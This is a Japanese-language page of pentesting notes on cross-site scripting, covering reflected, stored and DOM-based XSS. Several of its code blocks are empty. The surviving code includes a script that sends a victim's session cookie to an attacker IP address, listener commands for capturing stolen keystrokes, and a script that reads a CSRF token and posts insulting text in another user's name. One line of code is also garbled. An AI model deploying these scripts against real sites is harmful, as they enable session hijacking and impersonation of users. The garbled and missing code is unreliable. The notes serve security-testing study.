> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# XSS 手法
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための XSS 手法メモ。
## XSS（反射型）:
> 反射型: この種の XSS は、ユーザー提供データが適切な検証なしに HTTP レスポンスへ反映されるときに発生します。これにより攻撃者は悪意のあるコードをレスポンスに注入でき、そのコードはユーザーのブラウザで実行されます。
* この場合、以下の例のように HTML コードを注入できます: `test
Test
`:
* テキストサイズを **h1** タグで変更できたことがわかります:
## XSS（保存型）:
> 保存型: この種の XSS は、攻撃者が悪意のあるコードをデータベースまたは脆弱なページをホストしている Web サーバーに保存できる場合に発生します。このコードはページが読み込まれるたびに実行されます。以下のようなスクリプトをフォーム内で実行すると、 ``、下のようなアラートが表示されれば、サイトはこの種の攻撃に対して脆弱であることを意味します:
ユーザーを脆弱な Web サイトにリダイレクトし、フィッシング攻撃を実行できます:
```javascript
```
この JavaScript コードは Web ページ上にログインフォームを作成し、入力されたデータ（メールアドレスとパスワード）を、HTTP リクエストを使用して指定した IP アドレスへ送信します `fetch()`.
```javascript
```
ポート80で待ち受けます **python3**:
```bash
python3 -m http.server 80
```
## XSS（DOMベース）:
> DOMベース: この種の XSS は、悪意のあるコードが DOM（Document Object Model）を介してユーザーのブラウザで実行されるときに発生します。これは、Web ページ上の JavaScript コードが、悪意のあるコード注入に対して脆弱な方法で DOM を変更するときに起こります。以下のスクリプトは、すべてのユーザーのキーストロークを取得し、それらを **python3** ポート80のサーバーへ送信できます:
```javascript
```
必要な文字だけをフィルタリングして待ち受けるには **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
サーバー側のセッション Cookie を取得するには、私たちのコンピュータ上にこのファイルを作成します **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
フォーム内で、このスクリプトを送信します:
```html
```
待ち受けて、ユーザーのセッション Cookie を取得します:
他人の名前で何かを書き込むには、以下の手順に従います: リクエストを [Burp Suite](/ja/hacking-tools/web/burpsuite.md) そして、赤で強調表示された内容をコピーします:
以下のスクリプトは **GET** ローカル URL へのリクエストを行い、HTML レスポンスを解析して **CSRF** トークンを特定し、その後、CSRF トークンを含むデータで同じ URL へ POST リクエストを実行します。URL エンコードされた `data` 変数は、このスクリプトが実装されているサーバーへ情報を送信します。変更することが不可欠です。 `data` 値、トークン、および IP アドレス。
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
フォーム内で、このスクリプトを送信します:
```javascript
